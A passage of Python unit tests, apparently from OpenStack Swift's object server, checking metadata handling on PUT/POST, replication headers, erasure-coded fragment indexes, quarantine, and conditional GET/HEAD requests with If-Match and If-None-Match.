storage_directory(diskfile.get_data_dir(0), 'p', hash_path('a', 'c', 'o')), metafile_name + '.meta') self.assertTrue(os.path.isfile(metafile)) self.assertEqual(diskfile.read_metadata(metafile), {'X-Timestamp': timestamp2, 'name': '/a/c/o', 'Content-Type': 'text/html', 'Content-Type-Timestamp': timestamp2, 'X-Object-Meta-1': 'Not One'}) def check_response(resp): self.assertEqual(resp.status_int, 200) self.assertEqual(resp.content_length, 14) self.assertEqual(resp.content_type, 'text/html') self.assertEqual(resp.headers['content-type'], 'text/html') self.assertEqual( resp.headers['last-modified'], strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp2))))) self.assertEqual(resp.headers['etag'], '"1000d172764c9dbc3a5798a67ec5bb76"') self.assertEqual(resp.headers['x-object-meta-1'], 'Not One') req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) check_response(resp) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) check_response(resp) def test_POST_transient_sysmeta(self): # check that diskfile transient system meta is changed by a POST timestamp1 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp1, 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'X-Object-Meta-1': 'One', 'X-Object-Sysmeta-1': 'One', 'X-Object-Transient-Sysmeta-Foo': 'Bar'}) req.body = 'VERIFY SYSMETA' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) timestamp2 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': timestamp2, 'X-Object-Meta-1': 'Not One', 'X-Object-Sysmeta-1': 'Not One', 'X-Object-Transient-Sysmeta-Foo': 'Not Bar'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) # original .data file metadata should be unchanged objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(0), 'p', hash_path('a', 'c', 'o')), timestamp1 + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY SYSMETA') self.assertDictEqual(diskfile.read_metadata(objfile), {'X-Timestamp': timestamp1, 'Content-Length': '14', 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'name': '/a/c/o', 'X-Object-Meta-1': 'One', 'X-Object-Sysmeta-1': 'One', 'X-Object-Transient-Sysmeta-Foo': 'Bar'}) # .meta file metadata should have only user meta items metafile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(0), 'p', hash_path('a', 'c', 'o')), timestamp2 + '.meta') self.assertTrue(os.path.isfile(metafile)) self.assertDictEqual(diskfile.read_metadata(metafile), {'X-Timestamp': timestamp2, 'name': '/a/c/o', 'X-Object-Meta-1': 'Not One', 'X-Object-Transient-Sysmeta-Foo': 'Not Bar'}) def test_PUT_then_fetch_system_metadata(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'X-Object-Meta-1': 'One', 'X-Object-Sysmeta-1': 'One', 'X-Object-Sysmeta-Two': 'Two', 'X-Object-Transient-Sysmeta-Foo': 'Bar'}) req.body = 'VERIFY SYSMETA' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) def check_response(resp): self.assertEqual(resp.status_int, 200) self.assertEqual(resp.content_length, 14) self.assertEqual(resp.content_type, 'text/plain') self.assertEqual(resp.headers['content-type'], 'text/plain') self.assertEqual( resp.headers['last-modified'], strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp))))) self.assertEqual(resp.headers['etag'], '"1000d172764c9dbc3a5798a67ec5bb76"') self.assertEqual(resp.headers['x-object-meta-1'], 'One') self.assertEqual(resp.headers['x-object-sysmeta-1'], 'One') self.assertEqual(resp.headers['x-object-sysmeta-two'], 'Two') self.assertEqual(resp.headers['x-object-transient-sysmeta-foo'], 'Bar') req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) check_response(resp) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) check_response(resp) def test_PUT_then_POST_then_fetch_system_metadata(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'X-Object-Meta-0': 'deleted by post', 'X-Object-Sysmeta-0': 'Zero', 'X-Object-Transient-Sysmeta-0': 'deleted by post', 'X-Object-Meta-1': 'One', 'X-Object-Sysmeta-1': 'One', 'X-Object-Sysmeta-Two': 'Two', 'X-Object-Transient-Sysmeta-Foo': 'Bar'}) req.body = 'VERIFY SYSMETA' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) timestamp2 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': timestamp2, 'X-Object-Meta-1': 'Not One', 'X-Object-Sysmeta-1': 'Not One', 'X-Object-Sysmeta-Two': 'Not Two', 'X-Object-Transient-Sysmeta-Foo': 'Not Bar'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) def check_response(resp): # user meta should be updated but not sysmeta self.assertEqual(resp.status_int, 200) self.assertEqual(resp.content_length, 14) self.assertEqual(resp.content_type, 'text/plain') self.assertEqual(resp.headers['content-type'], 'text/plain') self.assertEqual( resp.headers['last-modified'], strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp2))))) self.assertEqual(resp.headers['etag'], '"1000d172764c9dbc3a5798a67ec5bb76"') self.assertEqual(resp.headers['x-object-meta-1'], 'Not One') self.assertEqual(resp.headers['x-object-sysmeta-0'], 'Zero') self.assertEqual(resp.headers['x-object-sysmeta-1'], 'One') self.assertEqual(resp.headers['x-object-sysmeta-two'], 'Two') self.assertEqual(resp.headers['x-object-transient-sysmeta-foo'], 'Not Bar') self.assertNotIn('x-object-meta-0', resp.headers) self.assertNotIn('x-object-transient-sysmeta-0', resp.headers) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) check_response(resp) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) check_response(resp) def test_PUT_with_replication_headers(self): # check that otherwise disallowed headers are accepted when specified # by X-Backend-Replication-Headers # first PUT object timestamp1 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp1, 'Content-Type': 'text/plain', 'Content-Length': '14', 'Etag': '1000d172764c9dbc3a5798a67ec5bb76', 'Custom-Header': 'custom1', 'X-Object-Meta-1': 'meta1', 'X-Static-Large-Object': 'False'}) req.body = 'VERIFY SYSMETA' # restrict set of allowed headers on this server with mock.patch.object(self.object_controller, 'allowed_headers', ['Custom-Header']): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(0), 'p', hash_path('a', 'c', 'o')), timestamp1 + '.data') # X-Static-Large-Object is disallowed. self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': timestamp1, 'Content-Type': 'text/plain', 'Content-Length': '14', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'name': '/a/c/o', 'Custom-Header': 'custom1', 'X-Object-Meta-1': 'meta1'}) # PUT object again with X-Backend-Replication-Headers timestamp2 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp2, 'Content-Type': 'text/plain', 'Content-Length': '14', 'Etag': '1000d172764c9dbc3a5798a67ec5bb76', 'Custom-Header': 'custom1', 'X-Object-Meta-1': 'meta1', 'X-Static-Large-Object': 'False', 'X-Backend-Replication-Headers': 'X-Static-Large-Object'}) req.body = 'VERIFY SYSMETA' with mock.patch.object(self.object_controller, 'allowed_headers', ['Custom-Header']): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(0), 'p', hash_path('a', 'c', 'o')), timestamp2 + '.data') # X-Static-Large-Object should be copied since it is now allowed by # replication headers. self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': timestamp2, 'Content-Type': 'text/plain', 'Content-Length': '14', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'name': '/a/c/o', 'Custom-Header': 'custom1', 'X-Object-Meta-1': 'meta1', 'X-Static-Large-Object': 'False'}) def test_PUT_container_connection(self): def mock_http_connect(response, with_exc=False): class FakeConn(object): def __init__(self, status, with_exc): self.status = status self.reason = 'Fake' self.host = '1.2.3.4' self.port = '1234' self.with_exc = with_exc def getresponse(self): if self.with_exc: raise Exception('test') return self def read(self, amt=None): return '' return lambda *args, **kwargs: FakeConn(response, with_exc) timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'X-Container-Host': '1.2.3.4:0', 'X-Container-Partition': '3', 'X-Container-Device': 'sda1', 'X-Container-Timestamp': '1', 'Content-Type': 'application/new1', 'Content-Length': '0'}) with mock.patch.object( object_server, 'http_connect', mock_http_connect(201)): with fake_spawn(): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'X-Container-Host': '1.2.3.4:0', 'X-Container-Partition': '3', 'X-Container-Device': 'sda1', 'X-Container-Timestamp': '1', 'Content-Type': 'application/new1', 'Content-Length': '0'}) with mock.patch.object( object_server, 'http_connect', mock_http_connect(500)): with fake_spawn(): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'X-Container-Host': '1.2.3.4:0', 'X-Container-Partition': '3', 'X-Container-Device': 'sda1', 'X-Container-Timestamp': '1', 'Content-Type': 'application/new1', 'Content-Length': '0'}) with mock.patch.object( object_server, 'http_connect', mock_http_connect(500, with_exc=True)): with fake_spawn(): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) def test_PUT_ssync_multi_frag(self): timestamp = utils.Timestamp(time()).internal def put_with_index(expected_rsp, frag_index, node_index=None): data_file_tail = '#%d.data' % frag_index headers = {'X-Timestamp': timestamp, 'Content-Length': '6', 'Content-Type': 'application/octet-stream', 'X-Backend-Ssync-Frag-Index': node_index, 'X-Object-Sysmeta-Ec-Frag-Index': frag_index, 'X-Backend-Storage-Policy-Index': int(policy)} req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers=headers) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual( resp.status_int, expected_rsp, 'got %s != %s for frag_index=%s node_index=%s' % ( resp.status_int, expected_rsp, frag_index, node_index)) if expected_rsp == 409: return obj_dir = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(int(policy)), 'p', hash_path('a', 'c', 'o'))) data_file = os.path.join(obj_dir, timestamp) + data_file_tail self.assertTrue(os.path.isfile(data_file), 'Expected file %r not found in %r for policy %r' % (data_file, os.listdir(obj_dir), int(policy))) for policy in POLICIES: if policy.policy_type == EC_POLICY: # upload with a ec-frag-index put_with_index(201, 3) # same timestamp will conflict a different ec-frag-index put_with_index(409, 2) # but with the ssync-frag-index (primary node) it will just # save both! put_with_index(201, 2, 2) # but even with the ssync-frag-index we can still get a # timestamp collisison if the file already exists put_with_index(409, 3, 3) # FWIW, ssync will never send in-consistent indexes - but if # something else did, from the object server perspective ... # ... the ssync-frag-index is canonical on the # read/pre-existance check put_with_index(409, 7, 2) # ... but the ec-frag-index is canonical when it comes to on # disk file put_with_index(201, 7, 6) def test_PUT_durable_files(self): for policy in POLICIES: timestamp = utils.Timestamp(int(time())).internal data_file_tail = '.data' headers = {'X-Timestamp': timestamp, 'Content-Length': '6', 'Content-Type': 'application/octet-stream', 'X-Backend-Storage-Policy-Index': int(policy)} if policy.policy_type == EC_POLICY: headers['X-Object-Sysmeta-Ec-Frag-Index'] = '2' data_file_tail = '#2.data' req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers=headers) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) obj_dir = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(int(policy)), 'p', hash_path('a', 'c', 'o'))) data_file = os.path.join(obj_dir, timestamp) + data_file_tail self.assertTrue(os.path.isfile(data_file), 'Expected file %r not found in %r for policy %r' % (data_file, os.listdir(obj_dir), int(policy))) durable_file = os.path.join(obj_dir, timestamp) + '.durable' if policy.policy_type == EC_POLICY: self.assertTrue(os.path.isfile(durable_file)) self.assertFalse(os.path.getsize(durable_file)) else: self.assertFalse(os.path.isfile(durable_file)) rmtree(obj_dir) def test_HEAD(self): # Test swift.obj.server.ObjectController.HEAD req = Request.blank('/sda1/p/a/c', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) self.assertFalse('X-Backend-Timestamp' in resp.headers) timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'application/x-test', 'X-Object-Meta-1': 'One', 'X-Object-Meta-Two': 'Two'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.content_length, 6) self.assertEqual(resp.content_type, 'application/x-test') self.assertEqual(resp.headers['content-type'], 'application/x-test') self.assertEqual( resp.headers['last-modified'], strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp))))) self.assertEqual(resp.headers['etag'], '"0b4c12d7e0a73840c1c4f148fda3b037"') self.assertEqual(resp.headers['x-object-meta-1'], 'One') self.assertEqual(resp.headers['x-object-meta-two'], 'Two') objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), utils.Timestamp(timestamp).internal + '.data') os.unlink(objfile) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) sleep(.00001) timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': timestamp, 'Content-Type': 'application/octet-stream', 'Content-length': '6'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) sleep(.00001) timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'DELETE'}, headers={'X-Timestamp': timestamp}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 204) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) self.assertEqual(resp.headers['X-Backend-Timestamp'], utils.Timestamp(timestamp).internal) def test_HEAD_quarantine_zbyte(self): # Test swift.obj.server.ObjectController.GET timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'application/x-test'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) disk_file = self.df_mgr.get_diskfile('sda1', 'p', 'a', 'c', 'o', policy=POLICIES.legacy) disk_file.open() file_name = os.path.basename(disk_file._data_file) with open(disk_file._data_file) as fp: metadata = diskfile.read_metadata(fp) os.unlink(disk_file._data_file) with open(disk_file._data_file, 'w') as fp: diskfile.write_metadata(fp, metadata) file_name = os.path.basename(disk_file._data_file) self.assertEqual(os.listdir(disk_file._datadir)[0], file_name) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) quar_dir = os.path.join( self.testdir, 'sda1', 'quarantined', 'objects', os.path.basename(os.path.dirname(disk_file._data_file))) self.assertEqual(os.listdir(quar_dir)[0], file_name) def test_OPTIONS(self): conf = {'devices': self.testdir, 'mount_check': 'false'} server_handler = object_server.ObjectController( conf, logger=debug_logger()) req = Request.blank('/sda1/p/a/c/o', {'REQUEST_METHOD': 'OPTIONS'}) req.content_length = 0 resp = server_handler.OPTIONS(req) self.assertEqual(200, resp.status_int) for verb in 'OPTIONS GET POST PUT DELETE HEAD REPLICATE \ SSYNC'.split(): self.assertTrue( verb in resp.headers['Allow'].split(', ')) self.assertEqual(len(resp.headers['Allow'].split(', ')), 8) self.assertEqual(resp.headers['Server'], (server_handler.server_type + '/' + swift_version)) def test_GET(self): # Test swift.obj.server.ObjectController.GET req = Request.blank('/sda1/p/a/c', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) self.assertFalse('X-Backend-Timestamp' in resp.headers) timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'application/x-test', 'X-Object-Meta-1': 'One', 'X-Object-Meta-Two': 'Two'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.body, 'VERIFY') self.assertEqual(resp.content_length, 6) self.assertEqual(resp.content_type, 'application/x-test') self.assertEqual(resp.headers['content-length'], '6') self.assertEqual(resp.headers['content-type'], 'application/x-test') self.assertEqual( resp.headers['last-modified'], strftime('%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(timestamp))))) self.assertEqual(resp.headers['etag'], '"0b4c12d7e0a73840c1c4f148fda3b037"') self.assertEqual(resp.headers['x-object-meta-1'], 'One') self.assertEqual(resp.headers['x-object-meta-two'], 'Two') req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) req.range = 'bytes=1-3' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 206) self.assertEqual(resp.body, 'ERI') self.assertEqual(resp.headers['content-length'], '3') req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) req.range = 'bytes=1-' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 206) self.assertEqual(resp.body, 'ERIFY') self.assertEqual(resp.headers['content-length'], '5') req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) req.range = 'bytes=-2' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 206) self.assertEqual(resp.body, 'FY') self.assertEqual(resp.headers['content-length'], '2') objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), utils.Timestamp(timestamp).internal + '.data') os.unlink(objfile) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) sleep(.00001) timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': timestamp, 'Content-Type': 'application:octet-stream', 'Content-Length': '6'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) sleep(.00001) timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'DELETE'}, headers={'X-Timestamp': timestamp}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 204) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) self.assertEqual(resp.headers['X-Backend-Timestamp'], utils.Timestamp(timestamp).internal) def test_GET_if_match(self): req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': normalize_timestamp(time()), 'Content-Type': 'application/octet-stream', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) etag = resp.etag req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Match': '*'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank('/sda1/p/a/c/o2', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Match': '*'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Match': '"%s"' % etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-Match': '"11111111111111111111111111111111"'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={ 'If-Match': '"11111111111111111111111111111111", "%s"' % etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={ 'If-Match': '"11111111111111111111111111111111", ' '"22222222222222222222222222222222"'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) def test_GET_if_match_etag_is_at(self): headers = { 'X-Timestamp': utils.Timestamp(time()).internal, 'Content-Type': 'application/octet-stream', 'X-Object-Meta-Xtag': 'madeup', 'X-Object-Sysmeta-Xtag': 'alternate madeup', } req = Request.blank('/sda1/p/a/c/o', method='PUT', headers=headers) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) real_etag = resp.etag # match x-backend-etag-is-at req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': 'madeup', 'X-Backend-Etag-Is-At': 'X-Object-Meta-Xtag'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) # match x-backend-etag-is-at, using first in list of alternates req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': 'madeup', 'X-Backend-Etag-Is-At': 'X-Object-Meta-Xtag,X-Object-Sysmeta-Z'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) # match x-backend-etag-is-at, using second in list of alternates alts = 'X-Object-Sysmeta-Y,X-Object-Meta-Xtag,X-Object-Sysmeta-Z' req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': 'madeup', 'X-Backend-Etag-Is-At': alts}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) # match x-backend-etag-is-at, choosing first of multiple alternates alts = 'X-Object-Sysmeta-Y,X-Object-Meta-Xtag,X-Object-Sysmeta-Xtag' req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': 'madeup', 'X-Backend-Etag-Is-At': alts}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) # match x-backend-etag-is-at, choosing first of multiple alternates # (switches order of second two alternates from previous assertion) alts = 'X-Object-Sysmeta-Y,X-Object-Sysmeta-Xtag,X-Object-Meta-Xtag' req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': 'alternate madeup', 'X-Backend-Etag-Is-At': alts}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) # no match x-backend-etag-is-at req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': real_etag, 'X-Backend-Etag-Is-At': 'X-Object-Meta-Xtag'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) # etag-is-at metadata doesn't exist, default to real etag req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': real_etag, 'X-Backend-Etag-Is-At': 'X-Object-Meta-Missing'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) # sanity no-match with no etag-is-at req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': 'madeup'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) # sanity match with no etag-is-at req = Request.blank('/sda1/p/a/c/o', headers={ 'If-Match': real_etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) # sanity with no if-match req = Request.blank('/sda1/p/a/c/o', headers={ 'X-Backend-Etag-Is-At': 'X-Object-Meta-Xtag'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) def test_HEAD_if_match(self): req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': normalize_timestamp(time()), 'Content-Type': 'application/octet-stream', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) etag = resp.etag req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Match': '*'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank('/sda1/p/a/c/o2', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Match': '*'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Match': '"%s"' % etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={'If-Match': '"11111111111111111111111111111111"'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={ 'If-Match': '"11111111111111111111111111111111", "%s"' % etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}, headers={ 'If-Match': '"11111111111111111111111111111111", ' '"22222222222222222222222222222222"'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) def test_GET_if_none_match(self): req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': normalize_timestamp(time()), 'X-Object-Meta-Soup': 'gazpacho', 'Content-Type': 'application/fizzbuzz', 'Content-Length': '4'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) etag = resp.etag req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-None-Match': '*'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) self.assertEqual(resp.etag, etag) self.assertEqual(resp.headers['Content-Type'], 'application/fizzbuzz') self.assertEqual(resp.headers['X-Object-Meta-Soup'], 'gazpacho') req = Request.blank('/sda1/p/a/c/o2', environ={'REQUEST_METHOD': 'GET'}, headers={'If-None-Match': '*'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-None-Match': '"%s"' % etag}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 304) self.assertEqual(resp.etag, etag) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-None-Match': '"11111111111111111111111111111111"'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 200) self.assertEqual(resp.etag, etag) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'GET'}, headers={'If-None-Match': 